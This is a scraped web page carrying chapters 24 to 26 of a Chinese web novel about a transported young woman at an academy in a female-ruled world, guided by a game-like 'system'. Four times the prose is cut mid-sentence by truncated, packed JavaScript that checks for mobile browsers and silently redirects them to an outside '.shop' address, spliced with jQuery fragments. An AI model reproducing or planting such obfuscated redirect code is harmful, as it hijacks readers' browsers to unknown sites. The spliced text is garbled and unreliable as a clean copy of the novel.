d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13451211|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 自己好歹也是盛京陆家的人。 怎么能在祥符郡这样的小地方，被一个无情无义的可恶女人玩弄？ 想到这里，陆丹若心头怒火重又燃起。 然而，正当他打算发火时，他听到云曜轻叹一口气。 “算了，若水，不要为我遮掩了。” 陆丹若眉心皱起，吞下自己将要说出口的尖利之语。 “遮掩？” 娲神可鉴，自己绝不是对云曜还心有期许。 他只是想听听这个可恶的女人，狗嘴里还能吐出怎样的象牙。 “呵，是啊。” 云曜苦笑一声，缓缓抬头，直视陆丹若的眼眸:“我刚刚差点哭出来了，因为你。” ——这话倒不全是谎言。 真要追究起来，自己被嬴若水拍背拍到哭的源头，就是因为陆丹若没跟上来。 这男人早点乖乖跟上来，不就没这么多事了吗！ 而陆丹若并不知晓此话背后的意义。 他凤眸瞪大，愣在原地。 “哭？” 玉镜娘子竟会为他而哭？ 他不敢置信，仔细端详着云曜的眼角，居然真的看到了一点难以觉察的红痕。 这一刻，有一股难以言说的喜悦席卷全身，令陆丹若心脏不受控制地跳动起来。 她说、她说…… 她为他哭了？ “原来是这样……”陆丹若低下头，声音有些微的颤抖，再不复先前的愤怒。 是啊。云曜怎么可能错了？分明是他一开始没跟上二人的步伐，是他的错。 她才不会故意把他留下。 倒是自己耍儿郎脾气了，差点当众给她难堪。 想到这里，陆丹若几乎想狠狠扇自己几个巴掌：怎么能这样阴暗地揣测她呢？自己的男德都修哪里去了？ 怪不得云曜一直对他忽冷忽热，这都是因为他自己犯下的错。 后知后觉的悔恨，如同疯狂滋生的野草，在他心头蔓延开来。 【我服了，宿主。这男的也太好拿捏了吧？！】 在脑内默默吃瓜的系统忍不住跳出来。 “学到了吧？你可以永远相信恋爱脑的脑补能力。” 【嗯嗯。】系统心悦诚服：【学到了，学到了。】 云曜深知陆丹若的秉性，点到为止，把遐想空间都留给对方。 她果断一甩衣袖，大步走进学堂门：“嗯，不必多言了，我们进门吧。” “等等我，小曜！” 嬴若水也紧随其后。 只留下怔愣的陆丹若站在原地。 “玉镜娘子……” 面上一会儿苦涩一会儿甜蜜，让那张清俊似谪仙的面容，蒙上了少男怀春的艳色。 * 此处学堂，名为“文渊斋”。 整个学堂占地面积极广，是栋二层木质建筑，从南向北，依次摆开三列书案长桌。 视线左移，能望见墙壁上悬挂着数幅名家字画，以云曜现在的学识，能看懂的只有一副接近现代楷体的“明德勤学”。 “这可比前世的教室大多了。” 云曜低声嘀咕着，跨过门槛，走进门内。 除了陌生的“新同学”外，也有不少昨日迎新宴的熟面孔正坐在书案前，摆弄桌上的笔墨纸砚。 见云曜进门，有人眼尖看到了她：“啊，是玉镜娘子。” “咦？” “谁啊。” “……玉镜娘子？” 霎时间，几乎在场每名学子的目光都集中到了云曜身上。 滴，滴，滴—— 与此同时，接二连三的系统提示音在脑内响起，让云曜有些头皮发麻。 【特殊条件达成。】 【[顶级白月光]技能已发动。】 24. 第 24 章 学堂兀地一静，落针可闻。 云曜脚步不自然地一顿：她还是第一次遇到这种阵仗，鼓膜甚至都在嗡嗡作响。 怎么回事？ 什么是特殊条件？ [顶级白月光]的发动是概率事件，像这样同一时间发动数次的情况，简直像是中了彩票。 【这次可不是单纯的概率。】 系统突然出现。 “那为什么会突然发动这么多次？”云曜问。 【当然是跟你身边的嬴若水有关。】系统说。 ……嬴若水？ 恰恰在这时，一道大嗓门打破了室内不自然的沉寂。 “小曜，你打算坐哪里？我这就给你搬书案！” 只见嬴若水不知从何处搬来一张书案，直接把它扛在肩膀上，看上去格外威风凛凛，眼角眉梢都是意气风发。 完全是“力能扛鼎”的具象化。 “你……” 望着她的样子，云曜突然想起了原女尊小说的名字。 凰将，不败战神。 战神。 ——像嬴若水这样的人，如果站在战场上，将会是何等豪迈轩昂、神采飞扬？ 云曜有些出神。 不知道自己有没有机会，亲眼目睹那个场面。 耳边，系统继续跟她解释。 【宿主，你应该知道什么是主角光环吧？对于主角而言，跟她作对的很容易遭到报应，跟她相合的则容易走运。】 【所以，在得到她的认同后，你的[顶级白月光]特征也得到了加强。】 【几乎能称得上是一种万人迷特质了。】 听了系统的话，云曜恍然大悟。 所以，这一波算是沾到了嬴若水身上的主角光环？ 【可以这么理解。不过……】 系统顿了顿，又感慨地说： 【因为宿主你身上的白月光特征，在这些人看来，或许——】 【你才是那个“主角”。】 * 正如系统所言。 此时，众人也渐渐从失神中恢复，窸窸窣窣的交谈声在学堂内轰炸开来。 几乎能穿透身体的灼热目光，聚焦在云曜身上。 “听说是嬴若水先……？昨天宴会……” “同是盛京来的……这女郎可比陆措更……” “看起来……！格外不同……” 尽管入耳的是只言片语，但话题的中心，全部是她一个人。 云曜怔在原地，心中有些异样。 她发现，自己竟打心里生出一种难以言明的暗爽滋味：在前世，她从未受过如此的瞩目。 真是没想到。 成为“主角”的感觉，居然这么好么？ 【我要提醒你，宿主。】系统站出来，无情地泼了她一盆冷水，【跟你身旁未来会成为大将军的嬴若水相比，你可还算不上什么主角。】 “……” 是是是。 她知道自己只算是个炮灰配角。 但一路走到现在，自己也算在某种程度上改变了命运吧？ 【很可惜，命运不是那么好更改的。】 【请宿主记住，重点是——如果再不快点找到新的[人生抱负]，或者找到新的人生点数来源，你就只剩三个月生命了。】系统提醒道。 云曜一怔。 也是。 冷静下来一想，自己看似光鲜，可事实上，目前拥有的一切都处在倒计时。 现在还不是自满的时候，得尽快想到延寿的办法才行。 这时，嬴若水的声音在一旁传出。 “小曜，你想坐哪里？” 她肩扛书案半点不显疲倦，视线在学堂内逡巡，威武地站在云曜身边，像是传说中的守护神。 听她这么说，云曜眨眨眼，目光落在学堂内一张张不甚熟悉的面孔上。 而后。 “玉镜娘子，你……” 陆丹若不知何时也已经落座，此刻正殷切地望着她，脸颊微红。 看样子，似是期盼云曜能坐在他身边。 云曜眉心一跳，默默把视线从陆丹若身上移开。 她没看到她没看到她没看到…… 若真跟陆丹若坐在一起，自己已经能想象到未来可能会发生的一系列麻烦事了。 事情一旦牵扯到男人，总会变得复杂不少。 “哎呀，我怎么忘了这一茬？你初来乍到，对这边还不了解。” 嬴若水以为云曜还在为难，开始滔滔不绝地帮她分析起来：“喏，你看——” “前排位置离教书女君比较近，能让你早些跟上授课脚步，可惜冬日寒冷，有时手都握不动笔。” “中排位置离姐妹们比较近，她们也能照拂于你，但此处略显逼仄，实在有些活动不开身子。” “至于后排东南角靠窗的地方，是我现在坐的位置。那边冬暖夏凉，阳光也好，位置绝佳，就是平日说话时得注意，不能被女君——” 话音未落。 “若水，为何大清早就如此吵闹？我还没踏进学堂的大门时，都能够清楚地听到你的声音。” 一道温润的声音，忽然自门外传出。 云曜顺着声音传来的方向望去，看到了一名笑眯眯的陌生中年人。 这人面相端庄，五官周正，一眼望去便令人心生好感。此刻她眉眼微弯，噙着笑意的目光扫视室内。 “啊，冯女君来了！”有人惊呼一声。 原本骚动的众人霎时安静下来。 不出数息，学堂内重又变得秩序井然。 嬴若水面上讪讪一笑，对着冯见微行了个礼，却又趁机凑近云曜，跟她耳语。 “这位是冯见微，冯女君，近一个月来都是她为我们授课。” 艮山学宫内门采取轮换教书制，即，每月都有不同的教书女君负责学宫内门，让生徒在其教导下，从不同的视角解读书本。 目前内门共有11名教书女君，除去正月过年的一个月，正好能在一年间把教书女君轮替一遍。 系统提醒云曜：【宿主，你还记得当初选择学堂时，我给你展示过的名师数量信息吧。】 【这个冯见微，就是艮山学宫仅有的3位名师之一。她是一位三星名师。】 名师？ 这个信息，让云曜不自觉抬头，望向冯见微。 一瞬间，两人正好视线相对。 “你是……” 冯见微先是一怔，而后颔首称赞道：“沈大人身为‘琅嬛三仙’之首，所收的徒儿果真有独到之处。” “你便是自云曜，云玉镜吧？小小年纪，已经有一身仙风鹤骨、不流于俗。” 说完，她笑吟吟地看着云曜。 “谢谢女君称赞。” 云曜对着冯见微行了个礼，大大方方地把夸奖应了下来。 对方表面上是在夸她，实则，是在夸她身后的沈令仪。 自己如果太过谦卑，反而会堕了沈令仪的面子，倒不如干脆地接下这个夸奖。 见她举止得体，冯见微面上露出淡淡笑意。 “既然沈大人把你托付给艮山学宫，那你且宽下心，在这里无需顾虑许多。听山长说，你还未参加过郡试？” 听冯见微提到郡试，云曜心神一动。 “是。” 穿越至今，她对郡试还是两眼一抹黑。 她只知道，如今身处艮山学宫内门的众人，都是未通过郡试的。 明明学宫内的每个人都拥有4级文学技能，但是，不仅连考数年的大有人在，甚至，其中还包括嬴若水这个天命之女。 这大曌朝的郡试，究竟为何会难倒这么多人？ “沈大人当年惊才绝艳，自小便是青州境内有名的天才娘子。你身为她的徒儿，想必也不会差。只可惜，来年三月的郡试……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13466633|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郡试怎么了？ 云曜面上不改色，实则已经悄悄把耳朵竖起。 但没想到，冯见微突然一顿，极轻地叹了口气。 “算了，先不提那许多，你入座吧，”她话锋一转，温和地说了句，“今日要讲解的，是《玄黄策》。” 云曜猝不及防，愣在原地。 她没想到，冯见微会如此突兀地转换话题。 对面，冯见微似是没察觉到云曜的异样，见她两手空空，又叮嘱了句：“明日是休沐日，你到时可去城内买书。至于今日，我记得自己暂存在护院那里一本《玄黄策》，你且等我一下。” “……我知晓了，冯女君。” 没能听到关键信息，云曜心中有些遗憾。 但既然对方主动结束了话题，她也只能点头称是。 随后，冯见微走出门外。在她走后，室内一下子又活跃起来。 “小曜，我给你搬好座位了。这里这里！” 不知什么时候，嬴若水已把云曜的书案安置妥当，就在她方才口中的“绝佳位置”处。 “唉……” 与此同时，一声极明显的叹气声，从另一个方向传来。 云曜余光瞥到陆丹若，看到他露出一脸不开心——他坐在前排正中，离云曜的位置极远。 但碍于冯见微在场，他也没办法发作，只能自己一个人生闷气。 单从外表来看，面容清俊的男子微蹙双眉，眸光潋滟，一举一动都美得很标准，符合此地士女对美男子的想象。 这男人不开口不作妖时，倒是让人大饱眼福。 云曜欣赏了一会儿他的愁容，把目光收回，落座。 “玉镜娘子——” 然而刚坐下，自四周便传来不同的热情声音。 前排的黑脸女郎转过头，脸上带着极为灿烂的笑容：“玉镜娘子，你是不是还没有书？我这刚好有一本……” 话音未落，又有旁人打岔。 “你那书都用了大半年，又不爱惜，书页都打卷，也不嫌晦气。” 只见一个迎新宴上见过的女郎凑过来，殷勤对云曜道：“玉镜娘子，你看，我这本《玄黄策》是上旬新买的，还没翻过几次，借给你可好？” 黑脸娘子一听，气得脸颊涨红，讽刺道：“我何时不爱惜了？没想到你竟如此没有淑女风骨。为了接近玉镜娘子，还不惜诋毁她人。” “我诋毁？再说了，你不也是想接近她！？”女郎眉心紧锁。 云曜身处风暴中心，根本插不上嘴。 系统在她耳边啧啧称奇：【宿主，我真没想到，叠加了buff后的[顶级白月光]，威力竟恐怖如斯。】 然而，这场因云曜而起的纷争，还远远未结束。 就在这两人争吵间，又有第三人、第四人争着要把手中的书送到云曜手里。 “别用她们的了，用我的吧。” “我这本带了前朝大儒的批注。玉镜娘子，给你！” 眨眼间，有好几只手从不同方向伸过来，争先恐后地想递给她书。 每个人眼中都写着明晃晃的大字“快点选我的书！”——如果人类能长尾巴，恐怕此时学堂内的尾巴已经摇成了一片。 与此同时，一本本《玄黄策》，不要钱般往云曜书案上堆。 转眼间。 便垒成一摞颇为壮观的书本小山，几乎要把整张书案淹没。 “这……” 只要云曜想拿起一本《玄黄策》，便会有不知从何处伸来的手，将她拿起的书夺走，飞速替换成另一本。 “别看这本，玉镜娘子！” “是啊，不如用我这本吧，如何？” 云曜太阳穴一抽，突然有些头疼。 自己来学堂的目的，只是要提高文学技能，从而顺利通过郡试，夺得魁首。 可是。 眼下这种意外情况，要怎么办才好？ 25. 第 25 章 恰在这时，云曜的视线与不远处的嬴若水对上。 她脑海灵光一现。 对了，嬴若水在学堂不是很有人望么？ 如果是她，应当有办法帮自己度过这一难关。 想到这里，云曜右手虚握，攥拳放在唇边，轻咳两声。 “咳咳——” 好姐妹。 之前不是说好要为我赴汤蹈火吗？现在就是你出面的时候了！ 被疯狂眼神暗示的嬴若水，表情却有些迷茫。 “嗯……？” 见状，云曜有些着急，随手拿出一本书案上的《玄黄策》，对她暗示。 嬴若水怔愣一瞬，才露出了恍然大悟的神情。 “喔！” 只见她对云曜用力点了下头，突然猛地站起，大喝一声：“好了好了，都乱哄哄涌上来，小曜难道有三头六臂不成！” 她大喝一声，隔着两尺远，探过身子。 “你们都睁眼看看，一个人哪需要这么多书？” 一只健壮的手臂在空中挥出残影，极有气势地往云曜桌案一拍。 啪—— 书案在她的力气下，发出一声惊天巨响。案上堆积成小山的书本被这动静震落，有几本还掉到了地上。 “…………” 周围人被这气势所镇，面面相觑，鸦雀无声。 见状，云曜悄悄松了一口气，心想：真不愧是嬴若水，能将混乱场面平定下来。 系统却幽幽开口。 【宿主，先不要放心得太早。】 “嗯？” 【你再仔细看看。看看她的手里，是不是拿着什么东西？】 闻言，云曜眼皮一跳。 她望向若无所觉的嬴若水，心中忽然升起一种不详的预感。 果不其然，在一片寂静之中，嬴若水用一种与气氛格格不入的爽朗语气开口。 “你们都不用争，把书都收回去吧。因为小曜她要用的，是这本！” 放在书案上的手掌，随之缓缓抬起。 众人定睛一看，在她掌下压着的，居然—— 又是一本。 新的《玄黄策》。 因这一戏剧性的转折，学堂再次沸腾起来。 “若水，你怎么也来横插一脚？” “呵，虽然你为她办了迎新宴，但不意味着你事事都能争先！” “照我说，玉镜娘子，你还是选我……” 新一轮《玄黄策》小山，继续向云曜袭来，甚至比先前还要更声势浩大。 重新被吵嚷声包围，云曜只想叹气： 这道坎还能不能过去了！ 眼见着局面即将一发不可收拾时，终于有人适时出面。 一道极有威严的声音，自学堂前部传来。 “肃静。” 众人噤声，齐齐往门口望去。 ——是冯见微。 作为三星名师，她无需特意维持秩序，只站在那里，便有种独特的长辈气场。 霎时间，所有人都乖乖闭上了嘴，知趣地回到原位。 见学堂重归清净，冯见微才不急不缓地走来。 更准确地说，是朝云曜走来。 “咦？怎会无端多出如此多的书？” 她垂下眼帘，注意到云曜书案上散落的一本本《玄黄策》，眸中划过一丝疑惑。 “方才不是说了，我去护院那里给你找书么，”冯见微转向旁边面色各异的女郎们，“你们是不想上课了？自己的书都不要了？” 无人敢与她对视，纷纷眼观鼻鼻观心，装作不知情。 “谁放在这里的书，谁自己拿回去，”冯见微说着，将自己手中的书递给云曜，“曜儿，这是郭护院从书库中找出来的，或许有些旧，但不妨碍参阅。” “所以，你暂且用这本《玄黄策》罢。” 话音刚落，周围响起一片倒吸冷气声。 间或夹杂着几句失望的叹息。 【没想到，抢了那么久，最后还是被长辈截胡了。】 系统默默说出了众人的心声。 “是，冯女君。”云曜接下对方手中的书。 接着，她跟嬴若水一起，把桌上堆成小山的《玄黄策》，重新分发给众人。 “等明日，我再让护院给你一份完整的书单，都与郡试有关，你对照着书单购买即可。” 冯见微说完，走回学堂前侧。 经历完“送书风波”，此时的学堂，已经变得格外安静。 正适合学习知识。 “今日要讲解的，是《玄黄策》第七篇，凤仪纳言。”冯见微拿起手头的书本，扫视一圈众人。 “‘一日，帝召瑾于凤仪殿，欲询朝政得失。瑾拜而进曰……’” 在她清朗温和的诵读声中，众人纷纷收心，摆墨置砚，认真聆听老师的解读。 * 只是—— 除了云曜。 她在座位上如坐针毡，眼睛失焦。 自己实在听不懂啊啊啊！ 以1级[文学]所带来的文学素养，此时的云曜除了“老师声音真好听”之外，可以说是一头雾水，什么都听不进耳朵。 她深吸一口气，暗暗下定决心： 自己现在能做的，只有尽快提升文学技能！ 【宿主，我建议你先以4级[文学]为目标，进行学习。】此时，系统出声建议。 艮山学宫内门的入门标准，便是4级文学。 寻常而言，一个人的文学技能要想达到4级，少说也需要经过数年的潜心学习。 除此之外，还必须再配合一定的天资禀赋：任何一条道路想臻至大成，都需要天资，一路上掉队者不知凡几。 读书亦是如此。 不是每个人都有能读书、读好书的天赋。 无天赋者如云旼，哪怕只看一眼书，都能头晕身痛眼睛花。 有天赋者如沈令仪，当年差点连中三元，惊才绝艳，在整个大曌历史上都是极为罕见的存在。 不过，这对现今的云曜而言，算不上什么难事。 她有“模拟人生系统”这一金手指加成，完全能跨越天赋这一最为飘忽不定的因素，最大程度压缩漫长的积累时间。 想到这里，云曜心中又燃起不少希望。 不就是费点肝来刷经验嘛！ 自己前世玩游戏的时候，对这一套可熟悉了。 “《玄黄策》是几级书籍？”她拿起冯见微给自己的书，询问系统。 结合先前系统告知她的技能提升方法，之后想要从文学1级提升到2级，就得开始阅读2级书目，积累经验值才行。 系统很快给出了答复。 【经检测，《玄黄策》为文学（4级）书籍。】 云曜讶然：“4级？” 【没错。】 “这……” 她深吸一口气，一股失落瞬间笼上心头。 也是。 方才系统已经告诉她，艮山学宫内门的入门要求便是4级文学，那么，平日众人诵读学习的书籍，就不可能低于这个等级。 没想到，系统很快又补了一句。 【不过很凑巧的是，你眼前这本《玄黄策》，是2级文学书籍。】 云曜没听懂系统的意思，有些不解。 不是刚说了这本书是四级书吗？ 【普通的《玄黄策》为4级书籍，但这本书中包含大量的注释及心得，使得其文学理解难度降至2级。】 云曜这才恍然大悟。 意思是说—— 冯见微从书库中带来的这一本，算是带译注的青少年读本？ 正好适合现在的她！ 她连忙翻开积了些灰尘的封皮，在扉页处，看到一行娟秀内敛的字迹。 “余虽愚钝，亦愿以勤劬自励，庶几有成于功名之途。宣宁八年亥月癸卯，王夕敬留。” 云曜：“……” 云曜：“这是什么东西？” 除了开头四个字，剩下的都没怎么读懂。 这句话并不是《玄黄策》里的内容，而是来自这本书的原主人——前世也有很多人会这样做，在课本扉页写一句名人名言或是别的文字，以此留下自己的痕迹。 她没再跟这句话纠缠，又翻了一页，直接开始阅读正文。 有了先前读1级书《 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483032|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阴阳论》的经验，这一次，云曜分外耐心。 她用手指抚摸书页，不管看不看得懂，都努力将每个字都印在脑海里。 为了辅佐学习，她口中还振振有词。 “瑾拜而进曰，陛下圣明，垂询下情。臣闻治国有常，而利民为本；政教有经，而令行为上。古之圣人欲知朝政得失，当广开才路，兼听则明……” 云曜还记得，自己前世听说过一种学习方法：在读书时，越是尽最大程度调动五感，越能把内容牢牢记在心里。 现在，自己已经调动了触觉、视觉、听觉三感。 希望能对学习有所帮助。 值得一提的是，在这本书中，每一行字旁边都有用蝇头小楷标注的心得。 在“广开言路”下方，写着： “治国有道，在于广开才路，不拘一格。民间藏龙卧虎，言有千秋之智，策有安邦之谋。” 在另一处“利民为本”下方，写了更多文字： “古之圣贤，皆以民为天，以民为本，方得天下归心，四海升平。今我辈当承此遗风，心系苍生，情牵百姓。” “她日，夕敬为官之时，定不忘今日教诲。切记！！！” 感叹号沾满浓墨，显示出笔者的决心。 跟扉页的文字一样，书上的字体娟秀整洁，哪怕挤在一起也不显杂乱，一眼望去只觉井然有序、条理分明。 从中，也足以观得原主人的一角性格。 云曜忽然有些好奇。 不知这位叫“夕敬”的人，现在还活着么？ 她的愿望跟志向，有没有达成呢？ 窗边，树叶悠然落下，流云匆匆拂过。 有护院在门外安静地走动，不打扰学堂内认真学习的学子们。 不知过了多久。 云曜已经开始感到头昏脑涨，但眼睛还是牢牢地钉在书本上，强迫自己读下去。 这时，她突然听到冯见微抬高的声音。 “上午便讲到这里。今天下午跟往常一样，诸位自行复习即可。” 怎么结束了？ 云曜这才第一次抬起头。 “嘶……” 脖子后面好疼！ 她转了转僵硬的脖颈跟肩颈，听到骨骼连接处传来清脆的“咯嘣”声。 耳朵开始接收外界信息，一下子涌进许多交谈声。 “每次听冯女君的讲解，都让人耳目一新。” “是啊。对了，今天吃什么？” “前些日子在饮冰书斋花两钱银子买下的狼毫笔，今天已经分叉了。还不如先前用的鼠须，实在是可恶。” 周围渐渐变得喧嚣，自四面八方传来学子们的谈天说地。 不管什么时代，下课总是令学生感到开心。 然而，云曜并没有融入这种嘈杂之中。 她面容微凝，重又低下头，看向眼前摊开来的书本。 这一次，文学技能的升级并不似先前那样容易。 一整个上午过去，云曜已经把原文跟注释反复阅读了四五遍，却仍没有升级的“开窍感”。 这让她有些不痛快。 或许是书本原主人的严谨影响到了她，也或许是自己被事情悬而未决的状态激起了斗志，总之，云曜现在只想好好地刷经验，提升文学技能。 学宫内有为学子们做午餐的伙房，中午休息时，大家可以提着饭盒，自行前往伙房领取。 渐渐地，人们三三两两走出门外。 坐在她不远处的嬴若水，已经耐着性子等了她很久。 见云曜始终如老僧入定般稳稳坐在原地，嬴若水终于待不住了。 “小曜，休息一会儿吧，都学一整个上午了！真是饿煞我也，走，咱们吃饭去。” 云曜连眼睛都没抬，严正拒绝。 “不行。” 她要读书！她要升级！ 哪有肝到半途就放弃的道理？ 嬴若水没料到自己这么快就吃了个闭门羹，目瞪口呆。 “……哈？” 一本《玄黄策》而已，用得着这么专注么。好姐妹什么时候变得这么勤奋了？ 这眼里都快用神到冒火了！ 26. 第 26 章 嬴若水观察了云曜一会儿。 “行，那我先走了啊。等会儿给你带点吃的。”她意识到云曜的认真，没再多纠缠，爽快地离开了。 云曜简短地“嗯”了声，又投入到读书的世界中。 这一沉浸，便是一整个中午。 等她再抬起头来…… 书案一角不知什么时候，已经摆了两个饭盒。 “嗯？若水怎么给我拿了两份？”她有些意外，揉了揉脖颈，把饭盒放到眼前。 正好。 自己用脑这么久，实在有点饿。 她先打开了第一份饭盒。没想到的是，里面竟藏了条米色丝绢，上面还写着一行字。 ——观君苦读，不忍叨扰。自取餐肴，愿君饱腹。 角落里留了两个字，丹若。 云曜愣了一下。 这是，陆丹若给她带的饭？ 再定睛一看，这饭盒里的食物摆放格外规整：一小份碗碟上专门放了块风干腊肉，旁侧是热气腾腾的米粥，角落塞了两个白白胖胖的馒头。 “……还挺讲究。” 云曜视线落到一旁，又掀开第二份饭盒。 与第一份不同，这个饭盒里只有一碗米粥——里面满满当当地浸了撕碎的馒头、腊肉，堆成一座小山，连饭盒顶都蹭到了湿漉漉的馒头屑。 两份午餐都出自食堂伙房，食物分量一模一样。 只是风格大不相同。 “快点吃吧，小曜，你不是还要读书么？” 嬴若水的声音自不远处传来：“我怕你吃得慢，特意把馒头掰碎开来，泡到米粥里面。” 没等云曜回答，自另一侧又传来陆丹若不满的哼声。 “听闻你家以卖猪肉为生，当真是粗俗鄙陋。平日你自己吃也就罢了，怎能把这样的猪食，端到玉镜娘子面前？” 嬴若水双目圆睁：“哈？我这是为小曜着想。你没看到她想抓紧时间读书么？” 陆丹若斜睨她一眼：“那也不能给她端上这样的东西。玉镜娘子何许人也，怎能屈尊……” 眼见着两人又要吵起来，云曜果断一拍书案，“噌”的一声站起身。 “——好了！” 一点小事而已。 自己可是要升级文学技能的女人，怎么能为了这点事分心？ 嬴若水跟陆丹若俱是愣住，学堂内也随之一静。 “…………” 在确定两人不吵之后，云曜重又坐回原位，拿起竹箸。她把两个饭盒都掀开来，行动迅捷地左边吃一口，右边吃一口，连吃饭节奏都控制得很精准。 端水端得很公允。 任谁来看，都实在挑不出毛病。 没一会儿，她便在两人的注视下，风卷残云吃完两份餐食。或许是上午的脑力活动消耗了太多能量，直到吃完最后一口，云曜才感受到饱腹之感。 这让她满足地长舒一口气，扫视二人。 “你们不要吵架，都是同窗，应当和气为贵。是不是？”云曜语重心长说。 嬴若水：“……你说得对。” 陆丹若：“……玉镜娘子说得是。” “嗯。那就这样吧。” 得到两人的答复后，云曜满意地点点头。 她把餐盒盖好，垒在一起提到书斋外，重又坐回原位，继续头都不抬地翻书。 可云曜不知道的是…… 在她开始读书后，嬴若水跟陆丹若两人破天荒凑到了一起。 开始悄声说小话。 “官话姥，你有没有觉得，小曜她身上的气场都变得不太一样了？”嬴若水问。 陆丹若脸颊飞红，微微颔首，羞涩道：“我早知玉镜娘子与常人不同。刚刚那一刻展现出的魄力，实乃英媛风范。” “嗯。不过嘛，我还觉得她很像——” 说到一半，嬴若水像是意识到了什么，突兀地闭口缄默。 “像什么？” 嬴若水不答，若有所思地托住下巴。 她想到方才就餐时，自己听到有人说云曜很像天边盘桓的鹤，茕茕孑立、清高脱俗。 一直以来，在她眼中的云曜，可没仙鹤那么高不可攀，而是平易近人，与自己十分投契。 只是，刚才那一瞬间—— 嬴若水竟有些不太敢正视云曜的眼睛。 那双眼眸中有果敢、尖锐，还有一种势在必得的野心，具有超乎寻常的感染力。 她出神地想，比起仙鹤，刚才的云曜甚至更像是…… 凤凰。 那翱翔于九天之上、象征着至高无上权力的存在。 * 云曜实在没想到，这2级文学技能竟会如此难升。 一整个下午过去，她依然没能听到自己期盼已久的提示音。 “系统，还没升级么？” 【抱歉，经检测，宿主还未达到升级条件。】系统说。 云曜第无数次翻开第一页，嘟囔道：“再这样下去，要是还没升级，我就要靠自己读懂这本书了……” 此话不假。 都说，书读百遍其义自见，云曜这一天的聚精会神，已经足够让她把整本书都记在脑海里。 这本书的主人“王夕敬”十分用心，到处写满了注释。 每当云曜遇到读不明白的地方，就去寻找边角的注释，往往在读完后，她就会有恍然大悟之感。 甚至还能感觉到，有什么东西，在脑海里破土而出。 简言之。 在长脑子了。 这样一看，自己还挺聪慧。想到这里，云曜不知为何摸了摸自己头发茂密的脑壳。 【请宿主不要浮躁。在大曌，如果说1级文学相当于6岁孩童水平，那么，2级文学差不多是读过书的12岁孩童水平。】系统一板一眼。 云曜：“……拜托你不要浇我冷水好么？” 系统的解释确实令人郁闷：哪怕像今天这样刻苦努力地升级，在文学方面，自己也才相当于大曌的12岁孩童。 但换个角度来想，她才短短几天时间，就能跨越别人长达六年的学习时间，已经算得上奇迹。 这时。 一声“笃笃”，在云曜的书案前方小心翼翼地响起。 “……云曜？” 她应声望去，看到的竟是—— 嬴若水。 只是，对方脸上露出了罕见的拘谨微笑，像是有些紧张。 “小曜，已经酉时了。要不要一起回厢房歇息？” 酉时，约莫现代的五点到七点。 深秋时节，天色暗得越来越早。云曜向窗外望去，发现乌金坠落、秋风瑟瑟，余晖洒满大地，已然是黄昏时分。 “都这个时候了？！”她连忙合上书本，站起身来，“走吧，若水。” 这时，云曜感觉到，嬴若水认真地打量了一下她的脸色。 尤其在她眼睛上停留了很久。 “好！我们一起走吧，小曜。” 不知观察到了什么，嬴若水的语气变得欢快许多，神色也缓和下来，像是松了一口气。 “嗯。” 云曜离开学堂前，顺手把《玄黄策》拿了起来。 她还打算晚上继续挑灯夜战，反正现在有了[寝眠]技能的帮助，自己并不需要那么多睡眠时间。 走出学堂后，她随口一问：“对了，若水，你有没有哪里不舒服？怎么感觉你方才有心事似的。” 天边霞光灿烂，残阳落在两个少年人身上。 两人的影子拉得越来越长，几乎占满了一整条小道。 “我……唉，说来有点不好意思，”嬴若水挠挠头，对着云曜嘿嘿一笑，“我也不知道自己怎么了，有几个瞬间，我莫名感觉，你跟我大不相像。” “不像？” 云曜有些不解。 “我也说不上来，算了，”嬴若水一拍胸膛，重又振奋精神，直视云曜的双眸，“反正我已经决定，你会是我一辈子的好姐妹。” “不管你日后变成什么样子，我都会追随你。” 云曜看着她认真的眼神，噗嗤一声笑出来，轻松道：“这句话该我说才对。” 自己只是个原书中早早炮灰的女配角。 真论起“谁追随谁”，那肯定得是她跟着嬴若水混饭。 不然，让嬴若水跟着她混饭么？ 一个原书中的不败战神，名副其实的大将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13496366|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军，怎么可能追随她做事？想想就觉得不可思议。 “那不行，得看谁行动更迅速，方才分明是我先开口的，”嬴若水半开玩笑半是认真，“就这样说好了。大女子一言驷马难追！” 云曜轻轻扶额，摇了摇头：“……你啊。” 